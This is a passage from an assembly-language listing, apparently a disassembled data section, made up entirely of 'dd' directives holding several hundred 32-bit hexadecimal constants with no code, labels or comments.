		dd 0CD78BA4h, 0A9F4F8B2h, 43066C7Bh, 9D96EC3Dh,	0AF3C1C2Eh
		dd 95A14A70h, 89FAE405h, 64E70671h, 2DC8DF42h, 87A32CE6h
		dd 0CD065CE6h, 0C4BD81C1h, 2871088Ah, 0D2715A9h, 0EFC151BDh
		dd 9BB3F373h, 7693AE1Ch, 0BB383B29h, 87342B2Fh,	92C5C413h
		dd 94EACDB3h, 19ABF289h, 3A80A826h, 9A6880CAh, 0DBD3FAF0h
		dd 0C85AF395h, 0AF8DEA2Eh, 34295D3Dh, 4FDD714Bh, 88C22966h
		dd 0B2D9A854h, 9457AF55h, 35056DAAh, 0BBF4D5ACh, 3632FBC4h
		dd 71A7B9E5h, 7B1E11D7h, 0C2FD0569h, 0EF10D6EEh, 984946ACh
		dd 2D46CD6Ah, 3F62F542h, 76755201h, 7D0399B3h, 15E0AF52h
		dd 73EDB6A1h, 4CCCF52Dh, 419A2FF1h, 0B7B55D88h,	0BE53A02Ch
		dd 0F67F011Dh, 0C0D1A886h, 664323Ah, 35AA42EEh,	95CE0F0Dh
		dd 62D058B1h, 0EA0CB103h, 9D555419h, 0BA82825Dh, 8154B02h
		dd 17777373h, 1079628Dh, 37A74B0Fh, 35DC86AFh, 1187396Dh
		dd 95E5AD7Fh, 0FEF88773h, 0FC182797h, 26346181h, 1F32F52Bh
		dd 0FE246657h, 9F88FFA5h, 8B47B72Ah, 730CA243h,	0DD687BA7h
		dd 598C9081h, 78EDD972h, 0D73DA7C1h, 91BC7E97h,	0BB4B388Ah
		dd 0FCB61CA4h, 0CE914998h, 0EB8B49BBh, 674D6B16h, 3C8C73F5h
		dd 0B49DE983h, 0CBAC73D8h, 0EEDAB861h, 802F98DEh, 3C0FDCEh
		dd 86FF9686h, 0A3C597D9h, 0DE45CF4h, 6F7F87D9h,	0B9EA52ADh
		dd 9B5A24DEh, 30C8995h,	203EC1B2h, 0DCED7216h, 63348138h
		dd 6F189376h, 0AEBA4F42h, 0C7147ACAh, 6EC41C85h, 0A39E6FECh
		dd 0AB769B1Bh, 0C30C8603h, 0B50BDE63h, 3D340F67h, 644E4DEBh
		dd 9FB08669h, 0F833D5EAh, 41062B0Eh, 284110h, 1107CEE3h
		dd 572A53F1h, 83F3E438h, 1AB90EDBh, 22E7645Fh, 0FCD384C2h
		dd 0FE12A613h, 0F8570DCFh, 727ACB05h, 0ECB4FF20h, 6DCF743Fh
		dd 8CC152F5h, 2800688Dh, 0CECF8EBAh, 0B5CB4F82h, 0A95B5A06h
		dd 0C086D0DEh, 8113B894h, 5BAD203Ch, 0EE942153h, 288B894Ch
		dd 0B97E0434h, 0FC1FFA4Fh, 5C60EE92h, 0B39625A2h, 8461CB5Eh
		dd 0F1FC9465h, 82695C9Ah, 381BB88Ch, 54A5F54Ch,	5E88267h
		dd 9D82B6BDh, 0E4A44DDAh, 0A5EBF0B6h, 5C0AA6D9h, 74922FCAh
		dd 8965FB90h, 15A6FF9Bh, 0A47A9BF6h, 0C51922Ch,	263FE24Eh
		dd 61DE9C55h, 0D834FEFCh, 0E0B02420h, 0B586118Dh, 0E83A28B2h
		dd 0FC9E5EE7h, 34F3B744h, 0BCAACEBCh, 362C4755h, 60D6B8ECh
		dd 0F01DE9A5h, 21F1A413h, 636265FCh, 78F46A95h,	1188E044h
		dd 0B20AA326h, 624FD2B3h, 4C5A2C8Eh, 6341165Ch,	0EA4D1514h
		dd 8AE15EAAh, 0A32F2E3Ah, 63778233h, 0E56C9A4Ah, 0B674E79Ch
		dd 0C79CEAA2h, 0D269F739h, 7791E9FFh, 2474542h,	11D2D6CAh
		dd 0AEC32C24h, 0E1ACB78Bh, 6D4BFCF0h, 9249FF65h, 47ED99C1h
		dd 0BAE3588Ah, 6887F272h, 0C8B09941h, 0A86121A8h, 0ECE1A0B8h
		dd 0F82B5D39h, 5623F2C7h, 0D4C8834Dh, 538815FBh, 4C3F2311h
		dd 482007B6h, 0CDD2A2A8h, 0B6B3F9BEh, 48802F50h, 9A9D2A67h
		dd 0BD134241h, 1CC85153h, 4D7FFE2Ah, 4614066Dh,	900B1143h
		dd 0D9E51325h, 0EBF96399h, 96D676E5h, 3F3EECF4h, 4F952560h
		dd 5C86BB3h, 0FF2275DDh, 0A0D2877Dh, 3C7AE549h,	97F2C97Dh
		dd 0B665C03Bh, 22923085h, 0EF620D93h, 3A71C12Ch, 0DC830CEFh
		dd 7100A9AEh, 4E51229Ch, 2F26E9F1h, 0BFA93FB4h,	65E81CF3h
		dd 963E8792h, 0EBB13C65h, 7E1B69D0h, 386F0958h,	1F8DC1Bh
		dd 0E23A7E2Dh, 0CDC631CCh, 0F967B92Ch, 0FCDD0877h, 30FA692Fh
		dd 0DEC03298h, 88B55F8Dh, 77616C4Ch, 89763944h,	66B8A05Fh
		dd 21E60E86h, 5D46C5Dh,	0BB6F3DDCh, 84588B68h, 0BDAA5CB2h
		dd 887CE7F7h, 41B18B01h, 0F40A362Dh, 0B39BC1B2h, 0A6AD9949h
		dd 9AEB872Ah, 0E2B0CAD8h, 43D8EA05h, 434BBC3Fh,	755F2D8Eh
		dd 0C4A9401Fh, 0A840D2D3h, 6225124h, 7399A07Ah,	8C49DFE6h
		dd 790DD5A9h, 259528BDh, 796DCBE0h, 0B49D6DF5h,	26AAD525h
		dd 76E20247h, 2464752h,	51F55706h, 0D6859FD7h, 4B1E0689h
		dd 2275F346h, 830224E3h, 84F87586h, 0A0DCF47Ah,	0C98911F2h
		dd 9A2210Bh, 0FB98205Fh, 68D8BC28h, 58E6500Fh, 294EF154h
		dd 9A0E29BFh, 0A4CF0217h, 0F7634AD8h, 509F83EAh, 9418532Ah
		dd 1CA3BEC4h, 0FB9416ABh, 25885911h, 0BE6519DBh, 0F63BAEB9h
		dd 0E44E84E6h, 4BD1DF8Dh, 0FC034DD0h, 8F133F4Ch, 95589892h
		dd 8F9E739h, 4CD6464Ch,	41AD06F0h, 0EC989702h, 0FEA8D4C5h
		dd 0B6CDB94Bh, 0FB49EB10h, 64B7F764h, 9E261EA4h, 29A56EFDh
		dd 0A0116C91h, 2CBD1581h, 9665E08Ah, 87BA1EB4h,	4C87359Ch
		dd 9449088h, 0D285FC62h, 94FBC2A0h, 0C8999B34h,	0FDFA43A4h
		dd 0C09249EEh, 97C231E7h, 7C67E460h, 95F2B161h,	63A76F9Ch
		dd 307E903Fh, 96E9CD2h,	52CC7BF0h, 4CF6EE0Bh, 97035F1Fh
		dd 0FAFD93A9h, 1E5DFE99h, 9971A874h, 73A170FBh,	0B78B3C4Bh
		dd 9F249599h, 0F7606395h, 4948E7EDh, 0BFE69Fh, 0E852701Ah
		dd 6EA6BEFh, 3D3E6153h,	0AFEAC36Dh, 3CC8CACh, 2F253550h
		dd 0BBB7023Dh, 68B28077h, 0D036640Eh, 7717F053h, 96AF66B4h
		dd 2F1D2h, 0FF526046h, 0E8BC072Bh, 7145B5F9h, 7C15FF05h
		dd 1E4E6A93h, 39648C58h, 0BDAA5273h, 0B52282BEh, 0DABAD20Ah
		dd 3C190BE2h, 0A97E1838h, 28A406A9h, 0E7E86AC6h, 7798E72h
		dd 98AFE16Fh, 93580E2Eh, 0EB733975h, 0CE0CF309h, 2452F87Eh
		dd 47ADCC54h, 367739CEh, 75D8A2A1h, 2A10C6FCh, 0F4F1948h
		dd 6E919A07h, 0A5B79DC7h, 4BC952C3h, 5A906D8Dh,	55D106BBh
		dd 6981766Fh, 3D3A3E62h, 370D9B7Dh, 0FC779F08h,	2798803Bh
		dd 9A02CC40h, 0D2C2573h, 86D905F2h, 2662BE3Bh, 6836131Dh
		dd 8A1B117Fh, 0D0199B44h, 3310260Fh, 418469F8h,	1F4DE2ABh
		dd 2BB7F129h, 74087DE7h, 6477C466h, 138FE64h, 2BB01F71h
		dd 647015EBh, 63D090A5h, 6F9C8743h, 0DC88EA94h,	2722D5E9h
		dd 0BDEE8AAFh, 63167DA9h, 5F930751h, 64C6B1FFh,	44E3E434h
		dd 5C136B80h, 2609878h,	8CE60EA5h, 0EAA52C60h, 1729BF6Dh
		dd 8E21327h, 0D11AA7DCh, 84E4D058h, 6B847926h, 0E5712998h
		dd 99294C06h, 0C971354Bh, 10DE2250h, 0B5B08750h, 0C27FCEB3h
		dd 0B3B39C07h, 62BB1A90h, 0D7D93E38h, 52F7E207h, 910486E2h
		dd 9EF5CC53h, 939F735Eh, 2CDC8F90h, 72D8661Bh, 0C03CEA2Bh
		dd 3144F8E7h, 0A10DC92Dh, 0C2B45C8Ch, 5E510156h, 42DB42FCh
		dd 0B402F086h, 0D7C60442h, 1AEC49Fh, 6442D1D0h,	4A6490FCh
		dd 0FE9DCD83h, 50729FA9h, 23FACC6Ah, 0F4BABB56h, 45C77907h
		dd 0A5254625h, 0AE5F933Ch, 100DCE2Ch, 77AD5441h, 374C3A2Fh
		dd 5DE4E241h, 31316065h, 0E5B4F470h, 2661D475h,	2BCB314h
		dd 0A8A8ADh, 7629CDB6h,	3751D55Ch, 85D5497Ch, 0C13C6BA0h
		dd 9E0176CFh, 0A611B537h, 5711EAA9h, 0AAB96E18h, 0E1FF1971h
		dd 72A7BA4Ch, 72A7E79Fh, 0DE156D92h, 0E3F98879h, 6FB63E5Ah
		dd 8C0C1ACFh, 21442C83h, 0A7C7C98Bh, 0E6F36FF9h, 52A38DE1h
		dd 9DCB123Ch, 411DD143h, 78675A00h, 21F92274h, 0A4EAD603h
		dd 2979EBC1h, 5119422Eh, 3A1FD7FDh, 0C7968422h,	63DCEFADh
		dd 5C8850A2h, 0A2D215DBh, 8D3AF44Eh, 9E6B9DC0h,	821B1615h
		dd 0A422F3F6h, 0D9A28CD5h, 480B3C99h, 1DB21D6Ah, 7443FCDCh
		dd 98266912h, 0B5E76F3Eh
		dd 0CB9E43BDh, 9D6A81A3h, 0C80DAD18h, 3BD6D79Ch, 5A7D3B96h
		dd 1C225983h, 0BBA2AC7Eh, 10EE6A39h, 221F7652h,	0C5D4C1F3h
		dd 378A8952h, 8003C470h, 26376B1Fh, 0C33A86C2h,	0A8C860A9h
		dd 42734CE2h, 4B489414h, 0CA040B06h, 4F294036h,	5A6D81EEh
		dd 40AF11Bh, 0C72E1D62h, 0D8A1CD03h, 574E480Eh,	92E283B2h
		dd 69A28AB5h, 0F800D80Eh, 0DB20F953h, 0F963213Dh, 9A1A8106h
		dd 5ACC8837h, 5F03C143h, 8203B233h, 678A8C79h, 0EFCB6119h
		dd 50F42908h, 0DA7C4085h, 5E9ABFB4h, 573F287Fh,	0FCB11481h
		dd 0BA7884E5h, 58C8A1CBh, 66669D2Dh, 0A421D7A5h, 2BE5E482h
		dd 0B45B21E0h, 2832B71h, 0C12645E9h, 18EFF3E2h,	14191ABEh
		dd 35892AA9h, 36C559AAh, 319998C4h, 71F69369h, 0E4011277h
		dd 1215CB68h, 3391E1B9h, 1B2EAA4Eh, 23CAB2A0h, 0E5A28DA2h
		dd 0FDAB7ECEh, 0FB2472B5h, 0F793B7B0h, 0F17359CFh, 1A8394CDh
		dd 38223CBFh, 0D87393BDh, 0ECB48C0Dh, 0E5434878h, 695E3A48h
		dd 36A06B3Ch, 0A2D6BE6Fh, 1888BCC2h, 0D9ECF2E9h, 45325B7Bh
		dd 0E7CDE812h, 0A3183F93h, 0FBF6986h, 7F93643Dh, 0F9ADCC85h
		dd 48E9B7DCh, 4C05E9F4h, 1BADE9Ch, 8197CE3Fh, 0AFAB963Bh
		dd 56F61266h, 0F3F815B3h, 0CF077020h, 0F48D2318h, 5D6B31D4h
		dd 0D78A95A2h, 47F64A26h, 0A84EA2Dh, 0A101A8D9h, 37D8750Ah
		dd 4603D0A6h, 517FB835h, 7A1FAA4Ch, 0D7E016F0h,	0A8FDE361h
		dd 45590020h, 5EBE728h,	628D1EEFh, 0D48E6B11h, 0E635C2B0h
		dd 7ECCC8A5h, 2F4AA4C2h, 5739E0CCh, 48F45E04h, 70F6B448h
		dd 12BC6545h, 287B5CC6h, 9B47B081h, 0D245D2B4h,	7F5E5367h
		dd 35FA196h, 0D7E1AD28h, 9EC3E30Ch, 42F9E71Eh, 2D7A1C6Fh
		dd 97A36923h, 6B351A11h, 1134B4FDh, 222A7CD6h, 35B6C0E1h
		dd 1449798Eh, 6DC5D6FBh, 6D06CD54h, 0D742974Bh,	53A6A3F7h
		dd 4792D74Dh, 0AF0569C0h, 0A3AF7F7Bh, 0E4D60833h, 81A3DAAEh
		dd 3E587BD1h, 9734D0C0h, 0F0DF8AC2h, 25D3CAE8h,	0F4EF6AC3h
		dd 0C24A83CFh, 7E300CFEh, 3E8AC0D9h, 2689C773h,	0B8093DF7h
		dd 0E2CFA608h, 0E3B17E8Fh, 0F73FBB2h, 0D7717843h, 21850B46h
		dd 0B3A9735h, 9E319FDBh, 0C3DE9EE7h, 0BD6D573Eh, 4EB9F53h
		dd 7CD4B884h, 995ECCAAh, 0A68E0578h, 8F499D47h,	0D053DF6Bh
		dd 574E03D6h, 0E07A19A1h, 0F24A8619h, 0D0E25AA0h, 41934FFCh
		dd 6134E207h, 946F8294h, 94D14F44h, 72F35C9Eh, 0DF5C39BEh
		dd 1CFD2F05h, 152FC1FAh, 6361B77Eh, 0D759BBCCh,	0FAF3AA7Ah
		dd 0ED60252Ah, 2F83D0Ah, 1ABC704Ah, 8753181Bh, 17EF5811h
		dd 0F68C778Dh, 0AE87A27h, 5F32DD7Eh, 86DE5EFh, 777B9487h
		dd 0E4E690EBh, 0D330F372h, 0B9E84BF1h, 3D23C489h, 0CD1EB451h
		dd 73C7547h, 5CA8E7AFh,	4F5EDF5Ch, 5E95B18Fh, 33637BF0h
		dd 1805F0DEh, 0EB6FCFD8h, 0F5FA2D9Dh, 92598E7Eh, 8300375h
		dd 0FA7AEE63h, 3674671Bh, 7E16E2D1h, 0B540026Ah, 0F82F68DCh
		dd 4ACA30D6h, 6DABF1ECh, 49CE3B1Ah, 0B4370884h,	7A3F8EABh
		dd 282A5124h, 37A840B4h, 7A63AA46h, 71C77006h, 27BC8BC7h
		dd 0C7384856h, 629522CEh, 8F4AB882h, 6F5FD379h,	5CCEA564h
		dd 48E4B6F5h, 0F6FF90EEh, 5251F67Ch, 0CCDCA178h, 2EFF4967h
		dd 613473BDh, 9D39D0ABh, 0DE0F5F49h, 0D7F6B1E5h, 191D6D4Eh
		dd 4C5744D2h, 2B2E8BC0h, 69FB538Ah, 1B032549h, 0B9C4F929h
		dd 0EE7D2D8Fh, 0FF1FF369h, 654BB1B8h, 6C0A314Fh, 8C8ADEC8h
		dd 0B13B7A05h, 61D2CAA8h, 0B403272Dh, 0E84458DDh, 0FE051223h
		dd 37C973B5h, 64A2B7CEh, 3FC0FACBh, 0D7CBB06Fh,	0C61BDB2Ah
		dd 50FC5508h, 35EB4F6h,	0AA5AB7BAh, 6E7A62E4h, 0E6F35483h
		dd 52862A25h, 0AD7D6A52h, 8BD2F229h, 577D441Dh,	623A20B5h
		dd 9A88FCF7h, 60307CCCh, 3F94D5A5h, 0D0549A8Fh,	2184D8F0h
		dd 0DAB1FC88h, 0AB3CA080h, 27CD0534h, 5C23EB8Dh, 0CF6825E0h
		dd 0A3E852Fh, 0CFE6D5C8h, 0B8EFC1E7h, 0B12D001h, 0EEC54624h
		dd 0F23AFD82h, 1BE018A5h, 7C39EACFh, 2F9EE069h,	81AE395Bh
		dd 23D06A3h, 0BD780A3Ah, 5060CADFh, 56D6BAD2h, 0EF07519Dh
		dd 594FE6B9h, 0EFE1A51h, 2F08DA15h, 0D6DF53FDh,	4A5FEACDh
		dd 0F91D14EEh, 0E9A9CD5Ah, 82A8F3C7h, 76AFFADCh, 0C72B49F1h
		dd 2CB806ABh, 557A7857h, 0C59880Ah, 2CBA3B5Fh, 0A598287Ah
		dd 0D23F0D6Dh, 65670C18h, 786AE6A0h, 30882019h,	0D39E9EADh
		dd 55396347h, 0C4D0109Fh, 0D76488F1h, 3978C938h, 1A269874h
		dd 5F11522Dh, 81AA5E53h, 0BBD78C78h, 6C2478AFh,	10FC96ABh
		dd 0B48D59C6h, 7F264C49h, 7D9EA7D9h, 72AE39FBh,	0D8783795h
		dd 222BA596h, 0E1FB08A0h, 2B62573Ch, 31ABA0C4h,	25CF5C3Eh
		dd 231AABE5h, 3AB2DEBBh, 899167B3h, 0FD4490B1h,	0AD8F0DA0h
		dd 0F1717B3Eh, 806B4A73h, 26983580h, 0E8A90EBDh, 11606843h
		dd 0C8ADF946h, 0CD9ADE9Ch, 0A6512E16h, 58932EA2h, 0EB31B78Ch
		dd 0C266E98Ah, 0FC539844h, 3F5C1ECCh, 0FC0328A5h, 1B98706Fh
		dd 1D35C876h, 0B672536h, 2F3E9764h, 0EABE017Dh,	90733484h
		dd 640358A6h, 78E3F533h, 9862105Dh, 0EA4634Eh, 515E591Ch
		dd 24027422h, 0C42E66C8h, 852D266Fh, 60F98525h,	0A06DC3D6h
		dd 0BC3CCA75h, 0E714565Dh, 87D7FA3Dh, 675F5932h, 19F25164h
		dd 0A7C6F19Ch, 0B6669C1Fh, 85C5EAB7h, 93862B46h, 0D54899EEh
		dd 0AF86B415h, 0B0FBB8ECh, 0F0BB7281h, 0C0466849h, 0F404D8CEh
		dd 50A007C8h, 0B3335218h, 8B5A5B04h, 0A8D4A21Fh, 4C79C00Eh
		dd 315455B0h, 8DF3DF1h,	0BF6843D0h, 72F33B8Ch, 0B0042842h
		dd 0E277059Fh, 0F7C3458Bh, 7FEAAE62h, 0BD0F14D7h, 0E8C75FCBh
		dd 6682419Eh, 32280797h, 7C6226FAh, 0BDCC8CC0h,	28717A14h
		dd 7B83CC12h, 936B8FA7h, 9AF732Eh, 1F3852F8h, 0C414C3FEh
		dd 0CC0A50A1h, 511BA8E2h, 0B426135Dh, 7B185590h, 0DF001598h
		dd 0CD136658h, 0F56C4F42h, 29654A89h, 74494ADEh, 0C17F490Eh
		dd 0BA2C7028h, 653179Bh, 85060540h, 7FF3D536h, 0C089DCCBh
		dd 0CDC72A46h, 2BB378D8h, 0E299426Eh, 0B4FB0CBBh, 421F7354h
		dd 0DF609291h, 0A63E25AFh, 0D6E545A3h, 2DF8F0F8h, 0D3469F6Dh
		dd 0D454243Fh, 0E5EA32E0h, 419FB0A2h, 2BFD93D1h, 7B9A554Ch
		dd 8A9CF994h, 4B036E4h,	0DD942560h, 198DE960h, 1086FAC4h
		dd 0EAF8324Ah, 5F5C26D5h, 6339937h, 6770434Eh, 409FD094h
		dd 146C7FD8h, 0DDC48F0Bh, 811181C7h, 0F7AFF8C3h, 1ADB5CF3h
		dd 7F252EDBh, 0B7CE3862h, 0A94E226Ch, 0BD1B9F3Ah, 88380561h
		dd 6F8CD424h, 3AFD542h,	76C60F4Fh, 4566C123h, 3C2DCD9h
		dd 0A1615B1h, 4D3D49B2h, 0CC13EB62h, 0BED3B05Fh, 7EAB5D23h
		dd 739AC819h, 0F070998Fh, 446D96DEh, 1ADD68F3h,	8229F935h
		dd 36ECCEBAh, 0B8B973B0h, 0A02D3902h, 0FFB2E1Fh, 0D9199BE8h
		dd 0B3702CE3h, 58D62A89h, 4B16A5BFh, 23753E6Fh,	32E287D8h
		dd 0BE6EFAEAh, 45AB38DCh, 0D9558017h, 8A129EBBh, 722DB1AAh
		dd 433D2ED0h, 88457C9Ah, 940D4B70h, 7125492Eh, 4BCEC8C3h
		dd 0EF3DA5E2h, 0BC44B205h, 20C295AEh, 0C77E242Ch, 0BD1E7CA2h
		dd 0C0F83082h, 350ECEE6h, 628311D3h, 61EA7364h,	1C0FBDE3h
		dd 0F2546064h, 2E978972h, 0F7006911h, 7D705F40h, 0B6F61416h
		dd 9C95D231h, 1698EBF7h, 39297C57h, 98A0B85Ch, 2B0281FFh
		dd 8C2B5945h, 0B709CD25h, 6198AB4Ch, 934A1121h,	0CA3BF494h
		dd 65EA0E2Fh, 0EB66293Dh
		dd 0BD62B765h, 0FD705040h, 9A83F7AEh, 7B614F72h, 66E43964h
		dd 0B6F7398Ch, 0AFEB79B1h, 2F708A2Bh, 4A888C92h, 0D3900AABh
		dd 4F3531D0h, 2A6E3787h, 4B26EC03h, 0A700DBCEh,	0CBE3CF7Eh
		dd 640B6352h, 8E023AA1h, 8799D14h, 1EAC6881h, 2133F37Ah
		dd 0CBA4F9h, 909B86Ah, 546A4086h, 2E5813BBh, 95B1B2D7h
		dd 9EC54E89h, 0E3E9173h, 2EEF83FBh, 0F4879A65h,	6A7C48A5h
		dd 5DE5AA7Bh, 7A5721E3h, 803FCB0Ah, 0BFFC70A6h,	0A7A2A76Dh
		dd 0EAE2804Ah, 2328EF3Ch, 3852AB9h, 403A805Eh, 0FCABB0F4h
		dd 6CA330h, 4DB4A361h, 0D3482DCEh, 0EBAF8657h, 0E0E2E4Eh
		dd 0FEA4EDF1h, 0AF03D107h, 0B313F760h, 30E0CF2Ch, 671B617Bh
		dd 95068FC4h, 25075D0Eh, 9FF744ECh, 2D498DDEh, 0C6A9B006h
		dd 4EF67B9Ch, 0E2762EB9h, 2F87C390h, 68A9943h, 3CD44D9Ah
		dd 23F80A6Eh, 0AF386B68h, 0D717CF6Ch, 0E4CD8AFFh, 0F0E87F75h
		dd 0EBDEA327h, 0C2CD754Ch, 1895FF8h, 0C6423E1Dh, 0D127C9B2h
		dd 2951EC7Ch, 0FB96F246h, 0C04713FAh, 203A4C99h, 544ED04Bh
		dd 0B8550889h, 4F0DB92h, 76880905h, 0FDB91DB2h,	151C537Fh
		dd 21D1AC20h, 1149D6C5h, 86FEF1FBh, 503C7F80h, 9D185683h
		dd 0DC89C54Bh, 0B393CBF7h, 4F0BDBA5h, 0E015ABCEh, 8DF03A5Eh
		dd 4918B2D3h, 0FAEF756Bh, 0B78D1BE2h, 0C86E3D40h, 0BD4E13FAh
		dd 5622390Ch, 0CE11481Ah, 0B48C4C50h, 0C96DD4A0h, 7CA287F6h
		dd 0B44E008Bh, 2A1A4313h, 0D5A68023h, 0BDA8C9FBh, 0C996C60Fh
		dd 81DEF0AEh, 395FA243h, 2EA87084h, 0A97796F0h,	0B60E5D80h
		dd 2913A6A2h, 472509D6h, 1A023437h, 1888CA19h, 92636D2h
		dd 0F9852F37h, 91DB6ED0h, 3E609F42h, 0DB4CB2Ch,	400CB804h
		dd 80A0DF3Bh, 0D613049h, 0ABDE5B0Bh, 0E3CE3DF6h, 0CB0718D3h
		dd 0D736A564h, 84429BFDh, 0F12081ACh, 4F97E087h, 8BF7F452h
		dd 2B21BAC0h, 0E744F265h, 0B022EA87h, 2E9CBBBEh, 173C764Dh
		dd 0AECD1CF3h, 0B395E293h, 77EAADCDh, 0BA5371D6h, 0F0B32C30h
		dd 5BBADD73h, 0ECB797Bh, 0B9AB3B5Ch, 0FC2D42D0h, 668E7CBAh
		dd 44016C2Eh, 6DFA224Bh, 0CFB64675h, 0A8D8FEA5h, 59E4CB77h
		dd 0F57480F8h, 0C4B26F12h, 5F30796Ah, 0E64EE4h,	0B375410Ah
		dd 464EA5B2h, 0A9E0C68Fh, 19A982CDh, 67C85658h,	6D18F4B3h
		dd 0AC94AE4Ah, 0DA282D55h, 52C03421h, 0C9F006B9h, 0AFF78EE6h
		dd 4BEC9825h, 1A0B34FBh, 9A049304h, 853DC010h, 9E2D6A54h
		dd 0D671830Ch, 2046EF6Eh, 90B17DE5h, 67B28592h,	3818F3FEh
		dd 5EEB86C3h, 0C786365Dh, 8D9228B9h, 8D8EC039h,	8F96FF89h
		dd 84FB1725h, 0A3ADFC79h, 8199194Ch, 958FF126h,	7032EB0Ch
		dd 66D7BD4Eh, 0B23F1FB2h, 5FDF98F7h, 2ED2CCD8h,	4695D6F3h
		dd 2584A481h, 82B21231h, 5337ED8Bh, 0EFC2DA81h,	63F8AD38h
		dd 7C17244Bh, 0F29E014Fh, 0F351D07Fh, 0AAF949DBh, 9EFC2E18h
		dd 25D7F49Ah, 0CB79F85Ch, 0AE7ADA38h, 982BDF1h,	2ACF449Fh
		dd 76826184h, 85073A85h, 262B1E66h, 0E6673B57h,	5231E357h
		dd 0D44E5439h, 7EB321E1h, 0D5381198h, 6677F877h, 74231079h
		dd 34D7EE0Ah, 30A702FEh, 8C0DF2E6h, 5EF4AE93h, 0BF7FEF22h
		dd 2E072964h, 3DF69E38h, 4D58EB7Bh, 91C0C20Eh, 187AEF34h
		dd 20C64974h, 0CEB02BF7h, 0F29D82FCh, 0FFA7128Ah, 27CF0D14h
		dd 0EB808025h, 0BE80BF81h, 0CB0CBB92h, 309725Eh, 0A9F66CC9h
		dd 4869065h, 9A7AA4A5h,	0A40CE80Fh, 71F65AA5h, 0DEF7FAF3h
		dd 0E9C5788h, 1088D02Bh, 0C024EF8Bh, 0D2A0AD23h, 0A9933ECEh
		dd 8E16516Ch, 5ABF3C66h, 4A46E0A3h, 0AC3B312Ah,	0BFB7A23Fh
		dd 8935B571h, 0A0486818h, 0FF17DB46h, 1BAAF2B4h, 97DE9D48h
		dd 0D14EA953h, 79F70FEAh, 0D88D9406h, 0A424C100h, 0AB23A493h
		dd 5B6573E6h, 6585961h,	74375B83h, 4C0CC9D0h, 0C7366262h
		dd 95FB9A3Dh, 0F61D7CF9h, 0D0375321h, 0DC44A1EAh, 4DB92FB3h
		dd 358A9D09h, 0A7D254CEh, 0EF92C6Fh, 0F7111AEFh, 0A5AA3955h
		dd 42F7CCD4h, 6CF56CD3h, 0E50A19EFh, 182D9E2Dh,	0F805DAE3h
		dd 0A852BD27h, 2EA10E16h, 0C0A02E7Dh, 4C0B5D7Fh, 5B188C56h
		dd 0F428FF22h, 4D7588DDh, 5CE70EEh, 0FEE8974Bh,	2801832Bh
		dd 8EF7B2F0h, 43F80378h, 0F14686FAh, 51F74611h,	47AF4C37h
		dd 0C6E572CAh, 264E75C6h, 0BCCB2C2Fh, 9261D434h, 0D5718B23h
		dd 0BC734BEEh, 0D9D16EE0h, 0DEE459E3h, 63704105h, 9691CF91h
		dd 638B0D35h, 846ED1F3h, 9EC36CAEh, 109C4F35h, 9A21A55Ch
		dd 0EA8B21BAh, 1608714h, 0D6D40419h, 5152AC05h,	9A0FEFB4h
		dd 89304E04h, 3A8AFF0Dh, 0FD7E5B4Fh, 45202263h,	0B969106h
		dd 0AC8BF6C4h, 12A8DC78h, 0B5F686B1h, 639D6975h, 0A3B44330h
		dd 0B0503A0Eh, 26189141h, 6BDB362h, 0A2A21776h,	988B3219h
		dd 0E4761B1h, 1F9D52D3h, 39795912h, 0FF51A487h,	0B0C2684Dh
		dd 3A7D733Bh, 0B6476EA1h, 0D387326Ch, 9A2C8B17h, 0BA111DC7h
		dd 232E7315h, 0DF0E6DBEh, 0E1EB2068h, 431C3F3Bh, 3D3F8DD1h
		dd 8B0EA505h, 25501346h, 6CDCC8B6h, 7CDB76EBh, 0FD71803Bh
		dd 75F1B277h, 0C4E9183Ch, 0F8E4C22Bh, 53AF2B55h, 1D7D13C6h
		dd 1A99D8AFh, 0E91E9A02h, 0CC17F95Fh, 0EBF19EA7h, 0B233F791h
		dd 1199FCE6h, 93989A62h, 50245449h, 0DC262C12h,	1E3CBC69h
		dd 3032E34Dh, 80C55CBDh, 0A60FB6E5h, 0B24981FAh, 0D01F7F28h
		dd 6F43B8B0h, 646C74E9h, 32618795h, 6227E285h, 8A7FACBBh
		dd 0A1855F11h, 26F1B219h, 82606EDEh, 649DA1BAh,	2E207708h
		dd 0E4EA9F3Ch, 9524FBBBh, 0B5ACA67Dh, 0C21251C3h, 3891280Eh
		dd 5F12A86Dh, 27EE2390h, 92AF70A6h, 3FAA5C5Ah, 8627245Fh
		dd 2F21A467h, 0C5711BACh, 40D60312h, 0C2FB656h,	0E0ED3775h
		dd 6FE30847h, 0E683A9E4h, 6E3DB558h, 0B36163CFh, 202E9497h
		dd 0A4EC2844h, 524ABC76h, 176E86D4h, 0D38F868Bh, 0E026B093h
		dd 650B8541h, 6F67F611h, 53E94FDEh, 5FEC3183h, 3CDA3652h
		dd 0CFCB2BA1h, 0D14E3331h, 0FC8129F8h, 0EBC10F7Ch, 8CEFC4C1h
		dd 0D0EDEB1Dh, 0BAE04C7Dh, 59F019EEh, 0C06D7104h, 7966E402h
		dd 0B5E3E6ACh, 1E8E4991h, 0AB339499h, 0EEB1BE64h, 8570D9F3h
		dd 5C856F3h, 34DE4479h,	2F6C4519h, 0F186C890h, 4444B571h
		dd 0DA226013h, 9388FD3Fh, 0A4FD30E7h, 666E37F0h, 47AD63A2h
		dd 2A3DA9C1h, 758995E1h, 0ADDA671Ch, 0DC65FC7Fh, 5FEA8E4Bh
		dd 0A07FEDC3h, 200CD80Eh, 0B5DAD9FFh, 851018F6h, 73B2A2E0h
		dd 3997EB9Ch, 42DC69E1h, 3219B459h, 0AA57149Fh,	0B1F2C71Ch
		dd 7A05C290h, 9CA0C21Ch, 344ABE6Eh, 12CDB313h, 0E9909FBh
		dd 39425700h, 9F894BD5h, 3532B060h, 0A6647548h,	0A3743DA9h
		dd 0C55FA758h, 0F266A04Fh, 45EEA98Bh, 0B744E6C7h, 10C9A190h
		dd 1F4B0656h, 5455A43Ah, 389BCBDFh, 0F10D96BEh,	6221316Ch
		dd 0D1C594BEh, 21403E32h, 3A29F54Bh, 5A82E93h, 1914F4C2h
		dd 0E99BF75h, 3632A540h, 0D1ACB4ADh, 8BB454E4h,	63EF7F67h
		dd 68A44A20h, 81CADE5Bh, 1EC4C865h, 0D725CA5Ah,	0A32AC9ECh
		dd 93A6FF2Dh, 0C4C4970h, 3C936536h, 4E7100A7h, 8617572Ch
		dd 821F42ABh, 43E9700Bh, 703B59CEh, 42386B59h, 0F88501DEh
		dd 0BCD683BEh, 0BC11A2F0h, 0A5AE274Bh, 3B5B13BBh, 0EA0EFA84h
		dd 34B64662h, 13257A5Bh, 770139Eh, 806AB7A4h, 4044521Fh
